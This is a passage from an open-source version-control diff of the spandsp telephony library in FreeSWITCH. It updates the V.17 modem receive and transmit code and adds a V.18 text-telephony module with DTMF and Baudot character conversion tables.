-            if (power < s->carrier_on_power)
-                continue;
-            s->signal_present = 1;
-#if defined(IAXMODEM_STUFF)
-            s->carrier_drop_pending = FALSE;
-#endif
-            report_status_change(s, SIG_STATUS_CARRIER_UP);
-        }
+        if ((power = signal_detect(s, amp[i])) == 0)
+            continue;
         if (s->training_stage == TRAINING_STAGE_PARKED)
             continue;
         /* Only spend effort processing this data if the modem is not
@@ -1093,44 +1167,78 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void v17_rx_set_put_bit(v17_rx_state_t *s, put_bit_func_t put_bit, void *user_data)
+SPAN_DECLARE(int) v17_rx_fillin(v17_rx_state_t *s, int len)
 {
+    int i;
+
+    /* We want to sustain the current state (i.e carrier on<->carrier off), and
+       try to sustain the carrier phase. We should probably push the filters, as well */
+    span_log(&s->logging, SPAN_LOG_FLOW, "Fill-in %d samples\n", len);
+    if (s->signal_present <= 0)
+        return 0;
+    if (s->training_stage == TRAINING_STAGE_PARKED)
+        return 0;
+    for (i = 0;  i < len;  i++)
+    {
+#if defined(SPANDSP_USE_FIXED_POINT)
+        dds_advance(&s->carrier_phase, s->carrier_phase_rate);
+#else
+        dds_advancef(&s->carrier_phase, s->carrier_phase_rate);
+#endif
+        /* Advance the symbol phase the appropriate amount */
+        s->eq_put_step -= RX_PULSESHAPER_COEFF_SETS;
+        if (s->eq_put_step <= 0)
+            s->eq_put_step += RX_PULSESHAPER_COEFF_SETS*10/(3*2);
+        /* TODO: Should we rotate any buffers */
+    }
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(void) v17_rx_set_put_bit(v17_rx_state_t *s, put_bit_func_t put_bit, void *user_data)
+{
     s->put_bit = put_bit;
     s->put_bit_user_data = user_data;
 }
 /*- End of function --------------------------------------------------------*/
 
-void v17_rx_set_modem_status_handler(v17_rx_state_t *s, modem_tx_status_func_t handler, void *user_data)
+SPAN_DECLARE(void) v17_rx_set_modem_status_handler(v17_rx_state_t *s, modem_tx_status_func_t handler, void *user_data)
 {
     s->status_handler = handler;
     s->status_user_data = user_data;
 }
 /*- End of function --------------------------------------------------------*/
 
-int v17_rx_restart(v17_rx_state_t *s, int bit_rate, int short_train)
+SPAN_DECLARE(logging_state_t *) v17_rx_get_logging_state(v17_rx_state_t *s)
 {
+    return &s->logging;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) v17_rx_restart(v17_rx_state_t *s, int bit_rate, int short_train)
+{
     int i;
 
     span_log(&s->logging, SPAN_LOG_FLOW, "Restarting V.17, %dbps, %s training\n", bit_rate, (short_train)  ?  "short"  :  "long");
     switch (bit_rate)
     {
     case 14400:
-        s->constellation = v17_14400_constellation;
+        s->constellation = v17_v32bis_14400_constellation;
         s->space_map = 0;
         s->bits_per_symbol = 6;
         break;
     case 12000:
-        s->constellation = v17_12000_constellation;
+        s->constellation = v17_v32bis_12000_constellation;
         s->space_map = 1;
         s->bits_per_symbol = 5;
         break;
     case 9600:
-        s->constellation = v17_9600_constellation;
+        s->constellation = v17_v32bis_9600_constellation;
         s->space_map = 2;
         s->bits_per_symbol = 4;
         break;
     case 7200:
-        s->constellation = v17_7200_constellation;
+        s->constellation = v17_v32bis_7200_constellation;
         s->space_map = 3;
         s->bits_per_symbol = 3;
         break;
@@ -1216,8 +1324,18 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-v17_rx_state_t *v17_rx_init(v17_rx_state_t *s, int bit_rate, put_bit_func_t put_bit, void *user_data)
+SPAN_DECLARE(v17_rx_state_t *) v17_rx_init(v17_rx_state_t *s, int bit_rate, put_bit_func_t put_bit, void *user_data)
 {
+    switch (bit_rate)
+    {
+    case 14400:
+    case 12000:
+    case 9600:
+    case 7200:
+        break;
+    default:
+        return NULL;
+    }
     if (s == NULL)
     {
         if ((s = (v17_rx_state_t *) malloc(sizeof(*s))) == NULL)
@@ -1239,14 +1357,20 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int v17_rx_free(v17_rx_state_t *s)
+SPAN_DECLARE(int) v17_rx_release(v17_rx_state_t *s)
 {
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) v17_rx_free(v17_rx_state_t *s)
+{
     free(s);
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
-void v17_rx_set_qam_report_handler(v17_rx_state_t *s, qam_report_handler_t handler, void *user_data)
+SPAN_DECLARE(void) v17_rx_set_qam_report_handler(v17_rx_state_t *s, qam_report_handler_t handler, void *user_data)
 {
     s->qam_report = handler;
     s->qam_user_data = user_data;

Modified: freeswitch/branches/seven/libs/spandsp/src/v17tx.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/v17tx.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/v17tx.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,28 +22,29 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: v17tx.c,v 1.64 2008/09/07 12:45:17 steveu Exp $
+ * $Id: v17tx.c,v 1.75 2009/06/02 16:03:56 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <stdio.h>
 #include <inttypes.h>
 #include <stdlib.h>
 #include <string.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 
 #include "spandsp/telephony.h"
+#include "spandsp/fast_convert.h"
 #include "spandsp/logging.h"
 #include "spandsp/complex.h"
 #include "spandsp/vector_float.h"
@@ -54,32 +55,45 @@
 
 #include "spandsp/v17tx.h"
 
+#include "spandsp/private/logging.h"
+#include "spandsp/private/v17tx.h"
+
 #if defined(SPANDSP_USE_FIXED_POINT)
 #define SPANDSP_USE_FIXED_POINTx
 #endif
 
-#include "v17tx_constellation_maps.h"
+#include "v17_v32bis_tx_constellation_maps.h"
 #if defined(SPANDSP_USE_FIXED_POINT)
-#include "v17tx_fixed_rrc.h"
+#include "v17_v32bis_tx_fixed_rrc.h"
 #else
-#include "v17tx_floating_rrc.h"
+#include "v17_v32bis_tx_floating_rrc.h"
 #endif
 
+/*! The nominal frequency of the carrier, in Hertz */
 #define CARRIER_NOMINAL_FREQ        1800.0f
 
 /* Segments of the training sequence */
+/*! The start of the optional TEP, that may preceed the actual training, in symbols */
 #define V17_TRAINING_SEG_TEP_A      0
+/*! The mid point of the optional TEP, that may preceed the actual training, in symbols */
 #define V17_TRAINING_SEG_TEP_B      (V17_TRAINING_SEG_TEP_A + 480)
+/*! The start of training segment 1, in symbols */
 #define V17_TRAINING_SEG_1          (V17_TRAINING_SEG_TEP_B + 48)
+/*! The start of training segment 2, in symbols */
 #define V17_TRAINING_SEG_2          (V17_TRAINING_SEG_1 + 256)
+/*! The start of training segment 3, in symbols */
 #define V17_TRAINING_SEG_3          (V17_TRAINING_SEG_2 + 2976)
+/*! The start of training segment 4, in symbols */
 #define V17_TRAINING_SEG_4          (V17_TRAINING_SEG_3 + 64)
+/*! The start of training segment 4 in short training mode, in symbols */
+#define V17_TRAINING_SHORT_SEG_4    (V17_TRAINING_SEG_2 + 38)
+/*! The end of the training, in symbols */
 #define V17_TRAINING_END            (V17_TRAINING_SEG_4 + 48)
 #define V17_TRAINING_SHUTDOWN_A     (V17_TRAINING_END + 32)
+/*! The end of the shutdown sequence, in symbols */
 #define V17_TRAINING_SHUTDOWN_END   (V17_TRAINING_SHUTDOWN_A + 48)
 
-#define V17_TRAINING_SHORT_SEG_4    (V17_TRAINING_SEG_2 + 38)
-
+/*! The 16 bit pattern used in the bridge section of the training sequence */
 #define V17_BRIDGE_WORD             0x8880
 
 static __inline__ int scramble(v17_tx_state_t *s, int in_bit)
@@ -106,6 +120,11 @@
     {
         1, 0, 2, 3
     };
+#if defined(SPANDSP_USE_FIXED_POINT)
+    static const complexi16_t zero = {0, 0};
+#else
+    static const complexf_t zero = {0.0f, 0.0f};
+#endif
     int bits;
     int shift;
 
@@ -116,19 +135,15 @@
             if (s->training_step <= V17_TRAINING_SEG_TEP_B)
             {
                 /* Optional segment: Unmodulated carrier (talker echo protection) */
-                return v17_abcd_constellation[0];
+                return v17_v32bis_4800_constellation[0];
             }
             if (s->training_step <= V17_TRAINING_SEG_1)
             {
                 /* Optional segment: silence (talker echo protection) */
-#if defined(SPANDSP_USE_FIXED_POINT)
-                return complex_seti16(0, 0);
-#else
-                return complex_setf(0.0f, 0.0f);
-#endif
+                return zero;
             }
             /* Segment 1: ABAB... */
-            return v17_abcd_constellation[(s->training_step & 1) ^ 1];
+            return v17_v32bis_4800_constellation[(s->training_step & 1) ^ 1];
         }
         /* Segment 2: CDBA... */
         /* Apply the scrambler */
@@ -140,15 +155,15 @@
             /* Go straight to the ones test. */
             s->training_step = V17_TRAINING_SEG_4;
         }
-        return v17_abcd_constellation[s->constellation_state];
+        return v17_v32bis_4800_constellation[s->constellation_state];
     }
     /* Segment 3: Bridge... */
     shift = ((s->training_step - V17_TRAINING_SEG_3 - 1) & 0x7) << 1;
-    span_log(&s->logging, SPAN_LOG_FLOW, "Seg 3 shift %d\n", shift);
+    //span_log(&s->logging, SPAN_LOG_FLOW, "Seg 3 shift %d\n", shift);
     bits = scramble(s, V17_BRIDGE_WORD >> shift);
     bits = (bits << 1) | scramble(s, V17_BRIDGE_WORD >> (shift + 1));
     s->constellation_state = (s->constellation_state + dibit_to_step[bits]) & 3;
-    return v17_abcd_constellation[s->constellation_state];
+    return v17_v32bis_4800_constellation[s->constellation_state];
 }
 /*- End of function --------------------------------------------------------*/
 
@@ -245,7 +260,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int v17_tx(v17_tx_state_t *s, int16_t amp[], int len)
+SPAN_DECLARE_NONSTD(int) v17_tx(v17_tx_state_t *s, int16_t amp[], int len)
 {
 #if defined(SPANDSP_USE_FIXED_POINT)
     complexi_t x;
@@ -297,14 +312,14 @@
         /* Now create and modulate the carrier */
         z = dds_complexf(&(s->carrier_phase), s->carrier_phase_rate);
         /* Don't bother saturating. We should never clip. */
-        amp[sample] = (int16_t) lrintf((x.re*z.re - x.im*z.im)*s->gain);
+        amp[sample] = (int16_t) lfastrintf((x.re*z.re - x.im*z.im)*s->gain);
 #endif
     }
     return sample;
 }
 /*- End of function --------------------------------------------------------*/
 
-void v17_tx_power(v17_tx_state_t *s, float power)
+SPAN_DECLARE(void) v17_tx_power(v17_tx_state_t *s, float power)
 {
     /* The constellation design seems to keep the average power the same, regardless
        of which bit rate is in use. */
@@ -316,7 +331,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void v17_tx_set_get_bit(v17_tx_state_t *s, get_bit_func_t get_bit, void *user_data)
+SPAN_DECLARE(void) v17_tx_set_get_bit(v17_tx_state_t *s, get_bit_func_t get_bit, void *user_data)
 {
     if (s->get_bit == s->current_get_bit)
         s->current_get_bit = get_bit;
@@ -325,32 +340,38 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void v17_tx_set_modem_status_handler(v17_tx_state_t *s, modem_tx_status_func_t handler, void *user_data)
+SPAN_DECLARE(void) v17_tx_set_modem_status_handler(v17_tx_state_t *s, modem_tx_status_func_t handler, void *user_data)
 {
     s->status_handler = handler;
     s->status_user_data = user_data;
 }
 /*- End of function --------------------------------------------------------*/
 
-int v17_tx_restart(v17_tx_state_t *s, int bit_rate, int tep, int short_train)
+SPAN_DECLARE(logging_state_t *) v17_tx_get_logging_state(v17_tx_state_t *s)
 {
+    return &s->logging;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) v17_tx_restart(v17_tx_state_t *s, int bit_rate, int tep, int short_train)
+{
     switch (bit_rate)
     {
     case 14400:
         s->bits_per_symbol = 6;
-        s->constellation = v17_14400_constellation;
+        s->constellation = v17_v32bis_14400_constellation;
         break;
     case 12000:
         s->bits_per_symbol = 5;
-        s->constellation = v17_12000_constellation;
+        s->constellation = v17_v32bis_12000_constellation;
         break;
     case 9600:
         s->bits_per_symbol = 4;
-        s->constellation = v17_9600_constellation;
+        s->constellation = v17_v32bis_9600_constellation;
         break;
     case 7200:
         s->bits_per_symbol = 3;
-        s->constellation = v17_7200_constellation;
+        s->constellation = v17_v32bis_7200_constellation;
         break;
     default:
         return -1;
@@ -377,8 +398,18 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-v17_tx_state_t *v17_tx_init(v17_tx_state_t *s, int bit_rate, int tep, get_bit_func_t get_bit, void *user_data)
+SPAN_DECLARE(v17_tx_state_t *) v17_tx_init(v17_tx_state_t *s, int bit_rate, int tep, get_bit_func_t get_bit, void *user_data)
 {
+    switch (bit_rate)
+    {
+    case 14400:
+    case 12000:
+    case 9600:
+    case 7200:
+        break;
+    default:
+        return NULL;
+    }
     if (s == NULL)
     {
         if ((s = (v17_tx_state_t *) malloc(sizeof(*s))) == NULL)
@@ -396,8 +427,14 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int v17_tx_free(v17_tx_state_t *s)
+SPAN_DECLARE(int) v17_tx_release(v17_tx_state_t *s)
 {
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) v17_tx_free(v17_tx_state_t *s)
+{
     free(s);
     return 0;
 }

Copied: freeswitch/branches/seven/libs/spandsp/src/v18.c (from rev 14471, freeswitch/trunk/libs/spandsp/src/v18.c) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/v18.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/v18.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,838 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * v18.c - V.18 text telephony for the deaf.
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2004-2009 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: v18.c,v 1.10 2009/06/02 16:03:56 steveu Exp $
+ */
+ 
+/*! \file */
+
+#if defined(HAVE_CONFIG_H)
+#include "config.h"
+#endif
+
+#include <inttypes.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+#include <memory.h>
+#if defined(HAVE_TGMATH_H)
+#include <tgmath.h>
+#endif
+#if defined(HAVE_MATH_H)
+#include <math.h>
+#endif
+#include "floating_fudge.h"
+
+#include "spandsp/telephony.h"
+#include "spandsp/logging.h"
+#include "spandsp/queue.h"
+#include "spandsp/async.h"
+#include "spandsp/complex.h"
+#include "spandsp/dds.h"
+#include "spandsp/tone_detect.h"
+#include "spandsp/tone_generate.h"
+#include "spandsp/super_tone_rx.h"
+#include "spandsp/power_meter.h"
+#include "spandsp/fsk.h"
+#include "spandsp/dtmf.h"
+#include "spandsp/modem_connect_tones.h"
+#include "spandsp/v8.h"
+#include "spandsp/v18.h"
+
+#include "spandsp/private/logging.h"
+#include "spandsp/private/queue.h"
+#include "spandsp/private/tone_generate.h"
+#include "spandsp/private/async.h"
+#include "spandsp/private/fsk.h"
+#include "spandsp/private/dtmf.h"
+#include "spandsp/private/modem_connect_tones.h"
+#include "spandsp/private/v18.h"
+
+#include <stdlib.h>
+
+/*! The baudot code to shift from alpha to digits and symbols */
+#define BAUDOT_FIGURE_SHIFT     0x1B
+/*! The baudot code to shift from digits and symbols to alpha */
+#define BAUDOT_LETTER_SHIFT     0x1F
+
+struct dtmf_to_ascii_s
+{
+    const char *dtmf;
+    char ascii;
+};
+
+static const struct dtmf_to_ascii_s dtmf_to_ascii[] =
+{
+    {"###1", 'C'},
+    {"###2", 'F'},
+    {"###3", 'I'},
+    {"###4", 'L'},
+    {"###5", 'O'},
+    {"###6", 'R'},
+    {"###7", 'U'},
+    {"###8", 'X'},
+    {"###9", ';'},
+    {"###0", '!'},
+    {"##*1", 'A'},
+    {"##*2", 'D'},
+    {"##*3", 'G'},
+    {"##*4", 'J'},
+    {"##*5", 'M'},
+    {"##*6", 'P'},
+    {"##*7", 'S'},
+    {"##*8", 'V'},
+    {"##*9", 'Y'},
+    {"##1", 'B'},
+    {"##2", 'E'},
+    {"##3", 'H'},
+    {"##4", 'K'},
+    {"##5", 'N'},
+    {"##6", 'Q'},
+    {"##7", 'T'},
+    {"##8", 'W'},
+    {"##9", 'Z'},
+    {"##0", ' '},
+#if defined(WIN32)
+    {"#*1", 'X'}, // (Note 1) 111 1011
+    {"#*2", 'X'}, // (Note 1) 111 1100
+    {"#*3", 'X'}, // (Note 1) 111 1101
+    {"#*4", 'X'}, // (Note 1) 101 1011
+    {"#*5", 'X'}, // (Note 1) 101 1100
+    {"#*6", 'X'}, // (Note 1) 101 1101
+#else
+    {"#*1", '\xE6'}, // (Note 1) 111 1011
+    {"#*2", '\xF8'}, // (Note 1) 111 1100
+    {"#*3", '\xE5'}, // (Note 1) 111 1101
+    {"#*4", '\xC6'}, // (Note 1) 101 1011
+    {"#*5", '\xD8'}, // (Note 1) 101 1100
+    {"#*6", '\xC5'}, // (Note 1) 101 1101
+#endif
+    {"#0", '?'},
+    {"#1", 'c'},
+    {"#2", 'f'},
+    {"#3", 'i'},
+    {"#4", 'l'},
+    {"#5", 'o'},
+    {"#6", 'r'},
+    {"#7", 'u'},
+    {"#8", 'x'},
+    {"#9", '.'},
+    {"*#0", '0'},
+    {"*#1", '1'},
+    {"*#2", '2'},
+    {"*#3", '3'},
+    {"*#4", '4'},
+    {"*#5", '5'},
+    {"*#6", '6'},
+    {"*#7", '7'},
+    {"*#8", '8'},
+    {"*#9", '9'},
+    {"**1", '+'},
+    {"**2", '-'},
+    {"**3", '='},
+    {"**4", ':'},
+    {"**5", '%'},
+    {"**6", '('},
+    {"**7", ')'},
+    {"**8", ','},
+    {"**9", '\n'},
+    {"*0", '\b'},
+    {"*1", 'a'},
+    {"*2", 'd'},
+    {"*3", 'g'},
+    {"*4", 'j'},
+    {"*5", 'm'},
+    {"*6", 'p'},
+    {"*7", 's'},
+    {"*8", 'v'},
+    {"*9", 'y'},
+    {"0", ' '},
+    {"1", 'b'},
+    {"2", 'e'},
+    {"3", 'h'},
+    {"4", 'k'},
+    {"5", 'n'},
+    {"6", 'q'},
+    {"7", 't'},
+    {"8", 'w'},
+    {"9", 'z'},
+    {"", '\0'}
+};
+
+static const char *ascii_to_dtmf[128] =
+{
+    "",         /* NULL */
+    "",         /* SOH */
+    "",         /* STX */
+    "",         /* ETX */
+    "",         /* EOT */
+    "",         /* ENQ */
+    "",         /* ACK */
+    "",         /* BEL */
+    "*0",       /* BACK SPACE */
+    "0",        /* HT >> SPACE */
+    "**9",      /* LF */
+    "**9",      /* VT >> LF */
+    "**9",      /* FF >> LF */
+    "",         /* CR */
+    "",         /* SO */
+    "",         /* SI */
+    "",         /* DLE */
+    "",         /* DC1 */
+    "",         /* DC2 */
+    "",         /* DC3 */
+    "",         /* DC4 */
+    "",         /* NAK */
+    "",         /* SYN */
+    "",         /* ETB */
+    "",         /* CAN */
+    "",         /* EM */
+    "#0",       /* SUB >> ? */
+    "",         /* ESC */
+    "**9",      /* IS4 >> LF */
+    "**9",      /* IS3 >> LF */
+    "**9",      /* IS2 >> LF */
+    "0",        /* IS1 >> SPACE */
+    "0",        /* SPACE */
+    "###0",     /* ! */
+    "",         /* " */
+    "",         /* # */
+    "",         /* $ */
+    "**5",      /* % */
+    "**1",      /* & >> + */
+    "",         /* \x92 */
+    "**6",      /* ( */
+    "**7",      /* ) */
+    "#9",       /* _ >> . */
+    "**1",      /* + */
+    "**8",      /* , */
+    "**2",      /* - */
+    "#9",       /* . */
+    "",         /* / */
+    "*#0",      /* 0 */
+    "*#1",      /* 1 */
+    "*#2",      /* 2 */
+    "*#3",      /* 3 */
+    "*#4",      /* 4 */
+    "*#5",      /* 5 */
+    "*#6",      /* 6 */
+    "*#7",      /* 7 */
+    "*#8",      /* 8 */
+    "*#9",      /* 9 */
+    "**4",      /* : */
+    "###9",     /* ; */
+    "**6",      /* < >> ( */
+    "**3",      /* = */
+    "**7",      /* > >> ) */
+    "#0",       /* ? */
+    "###8",     /* @ >> X */
+    "##*1",     /* A */
+    "##1",      /* B */
+    "###1",     /* C */
+    "##*2",     /* D */
+    "##2",      /* E */
+    "###2",     /* F */
+    "##*3",     /* G */
+    "##3",      /* H */
+    "###3",     /* I */
+    "##*4",     /* J */
+    "##4",      /* K */
+    "###4",     /* L */
+    "##*5",     /* M */
+    "##5",      /* N */
+    "###5",     /* O */
+    "##*6",     /* P */
+    "##6",      /* Q */
+    "###6",     /* R */
+    "##*7",     /* S */
+    "##7",      /* T */
+    "###7",     /* U */
+    "##*8",     /* V */
+    "##8",      /* W */
+    "###8",     /* X */
+    "##*9",     /* Y */
+    "##9",      /* Z */
+    "#*4",      /* \xC6 (National code) */
+    "#*5",      /* \xD8 (National code) */
+    "#*6",      /* \xC5 (National code) */
+    "",         /* ^ */
+    "0",        /* _ >> SPACE */
+    "",         /* \x92 */
+    "*1",       /* a */
+    "1",        /* b */
+    "#1",       /* c */
+    "*2",       /* d */
+    "2",        /* e */
+    "#2",       /* f */
+    "*3",       /* g */
+    "3",        /* h */
+    "#3",       /* i */
+    "*4",       /* j */
+    "4",        /* k */
+    "#4",       /* l */
+    "*5",       /* m */
+    "5",        /* n */
+    "#5",       /* o */
+    "*6",       /* p */
+    "6",        /* q */
+    "#6",       /* r */
+    "*7",       /* s */
+    "7",        /* t */
+    "#7",       /* u */
+    "*8",       /* v */
+    "8",        /* w */
+    "#8",       /* x */
+    "*9",       /* y */
+    "9",        /* z */
+    "#*1",      /* \xE6 (National code) */
+    "#*2",      /* \xF8 (National code) */
+    "#*3",      /* \xE5 (National code) */
+    "0",        /* ~ >> SPACE */
+    "*0"        /* DEL >> BACK SPACE */
+};
+
+static int cmp(const void *s, const void *t)
+{
+    const char *ss;
+    struct dtmf_to_ascii_s *tt;
+
+    ss = (const char *) s;
+    tt = (struct dtmf_to_ascii_s *) t;
+    return strncmp(ss, tt->dtmf, strlen(tt->dtmf));
+}
+
+SPAN_DECLARE(int) v18_encode_dtmf(v18_state_t *s, char dtmf[], const char msg[])
+{
+    const char *t;
+    char *u;
+    const char *v;
+    
+    t = msg;
+    u = dtmf;
+    while (*t)
+    {
+        v = ascii_to_dtmf[*t & 0x7F];
+        while (*v)
+            *u++ = *v++;
+        t++;
+    }
+    *u = '\0';
+
+    return u - dtmf;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) v18_decode_dtmf(v18_state_t *s, char msg[], const char dtmf[])
+{
+    int entries;
+    const char *t;
+    char *u;
+    struct dtmf_to_ascii_s *ss;
+
+    entries = sizeof(dtmf_to_ascii)/sizeof(dtmf_to_ascii[0]) - 1;
+    t = dtmf;
+    u = msg;
+    while (*t)
+    {
+        ss = bsearch(t, dtmf_to_ascii, entries, sizeof(dtmf_to_ascii[0]), cmp);
+        if (ss)
+        {
+            t += strlen(ss->dtmf);
+            *u++ = ss->ascii;
+        }
+        else
+        {
+            /* Can't match the code. Let's assume this is a code we just don't know, and skip over it */
+            while (*t == '#'  ||  *t == '*')
+                t++;
+            if (*t)
+                t++;
+        }
+    }
+    *u = '\0';
+    return u - msg;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(uint16_t) v18_encode_baudot(v18_state_t *s, uint8_t ch)
+{
+    static const uint8_t conv[128] =
+    {
+        0xFF, /* NUL */
+        0xFF, /* SOH */
+        0xFF, /* STX */
+        0xFF, /* ETX */
+        0xFF, /* EOT */
+        0xFF, /* ENQ */
+        0xFF, /* ACK */
+        0xFF, /* BEL */
+        0x00, /* BS */
+        0x44, /* HT >> SPACE */
+        0x42, /* LF */
+        0x42, /* VT >> LF */
+        0x42, /* FF >> LF */
+        0x48, /* CR */
+        0xFF, /* SO */
+        0xFF, /* SI */
+        0xFF, /* DLE */
+        0xFF, /* DC1 */
+        0xFF, /* DC2 */
+        0xFF, /* DC3 */
+        0xFF, /* DC4 */
+        0xFF, /* NAK */
+        0xFF, /* SYN */
+        0xFF, /* ETB */
+        0xFF, /* CAN */
+        0xFF, /* EM */
+        0x99, /* SUB >> ? */
+        0xFF, /* ESC */
+        0x42, /* IS4 >> LF */
+        0x42, /* IS3 >> LF */
+        0x42, /* IS2 >> LF */
+        0x44, /* IS1 >> SPACE */
+        0x44, /*   */
+        0x8D, /* ! */
+        0x91, /* " */
+        0x89, /* # >> $ */
+        0x89, /* $ */
+        0x9D, /* % >> / */
+        0x9A, /* & >> + */
+        0x8B, /* ' */
+        0x8F, /* ( */
+        0x92, /* ) */
+        0x9C, /* * >> . */
+        0x9A, /* + */
+        0x8C, /* , */
+        0x83, /* - */
+        0x9C, /* . */
+        0x9D, /* / */
+        0x96, /* 0 */
+        0x97, /* 1 */
+        0x93, /* 2 */
+        0x81, /* 3 */
+        0x8A, /* 4 */
+        0x90, /* 5 */
+        0x95, /* 6 */
+        0x87, /* 7 */
+        0x86, /* 8 */
+        0x98, /* 9 */
+        0x8E, /* : */
+        0x9E, /* ; */
+        0x8F, /* < >> )*/
+        0x94, /* = */
+        0x92, /* > >> ( */
+        0x99, /* ? */
+        0x1D, /* @ >> X */
+        0x03, /* A */
+        0x19, /* B */
+        0x0E, /* C */
+        0x09, /* D */
+        0x01, /* E */
+        0x0D, /* F */
+        0x1A, /* G */
+        0x14, /* H */
+        0x06, /* I */
+        0x0B, /* J */
+        0x0F, /* K */
+        0x12, /* L */
+        0x1C, /* M */
+        0x0C, /* N */
+        0x18, /* O */
+        0x16, /* P */
+        0x17, /* Q */
+        0x0A, /* R */
+        0x05, /* S */
+        0x10, /* T */
+        0x07, /* U */
+        0x1E, /* V */
+        0x13, /* W */
+        0x1D, /* X */
+        0x15, /* Y */
+        0x11, /* Z */
+        0x8F, /* [ >> (*/
+        0x9D, /* \ >> / */
+        0x92, /* ] >> ) */
+        0x8B, /* ^ >> ' */
+        0x44, /* _ >> Space */
+        0x8B, /* ` >> ' */
+        0x03, /* a */
+        0x19, /* b */
+        0x0E, /* c */
+        0x09, /* d */
+        0x01, /* e */
+        0x0D, /* f */
+        0x1A, /* g */
+        0x14, /* h */
+        0x06, /* i */
+        0x0B, /* j */
+        0x0F, /* k */
+        0x12, /* l */
+        0x1C, /* m */
+        0x0C, /* n */
+        0x18, /* o */
+        0x16, /* p */
+        0x17, /* q */
+        0x0A, /* r */
+        0x05, /* s */
+        0x10, /* t */
+        0x07, /* u */
+        0x1E, /* v */
+        0x13, /* w */
+        0x1D, /* x */
+        0x15, /* y */
+        0x11, /* z */
+        0x8F, /* { >> ( */
+        0x8D, /* | >> ! */
+        0x92, /* } >> ) */
+        0x44, /* ~ >> Space */
+        0xFF, /* DEL */
+    };
+    uint16_t shift;
+
+    if (ch == 0x7F)
+    {
+        /* DLE is a special character meaning "force a
+           change to the letter character set */
+        shift = BAUDOT_LETTER_SHIFT;
+        return 0;
+    }
+    ch = conv[ch];
+    /* Is it a non-existant code? */
+    if (ch == 0xFF)
+        return 0;
+    /* Is it a code present in both character sets? */
+    if ((ch & 0x40))
+        return 0x8000 | (ch & 0x1F);
+    /* Need to allow for a possible character set change. */
+    if ((ch & 0x80))
+    {
+        if (s->baudot_tx_shift == 1)
+            return ch & 0x1F;
+        s->baudot_tx_shift = 1;
+        shift = BAUDOT_FIGURE_SHIFT;
+    }
+    else
+    {
+        if (s->baudot_tx_shift == 0)
+            return ch & 0x1F;
+        s->baudot_tx_shift = 0;
+        shift = BAUDOT_LETTER_SHIFT;
+    }
+    return 0x8000 | (shift << 5) | (ch & 0x1F);
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(uint8_t) v18_decode_baudot(v18_state_t *s, uint8_t ch)
+{
+    static const uint8_t conv[2][32] =
+    {
+        {"\bE\nA SIU\rDRJNFCKTZLWHYPQOBG^MXV^"},
+        {"\b3\n- -87\r$4',!:(5\")2=6019?+^./;^"}
+    };
+
+    switch (ch)
+    {
+    case BAUDOT_FIGURE_SHIFT:
+        s->baudot_rx_shift = 1;
+        break;
+    case BAUDOT_LETTER_SHIFT:
+        s->baudot_rx_shift = 0;
+        break;
+    default:
+        return conv[s->baudot_rx_shift][ch];
+    }
+    /* return 0 if we did not produce a character */
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+static void v18_rx_dtmf(void *user_data, const char digits[], int len)
+{
+    v18_state_t *s;
+
+    s = (v18_state_t *) user_data;
+}
+/*- End of function --------------------------------------------------------*/
+
+static int v18_tdd_get_async_byte(void *user_data)
+{
+    v18_state_t *s;
+    int ch;
+    
+    s = (v18_state_t *) user_data;
+    if ((ch = queue_read_byte(&s->queue.queue)) >= 0)
+    {
+        int space;
+        int cont;
+        space = queue_free_space(&s->queue.queue);
+        cont = queue_contents(&s->queue.queue);
+        return ch;
+    }
+    if (s->tx_signal_on)
+    {
+        /* The FSK should now be switched off. */
+        s->tx_signal_on = FALSE;
+    }
+    return 0x1F;
+}
+/*- End of function --------------------------------------------------------*/
+
+static void v18_tdd_put_async_byte(void *user_data, int byte)
+{
+    v18_state_t *s;
+    uint8_t octet;
+    
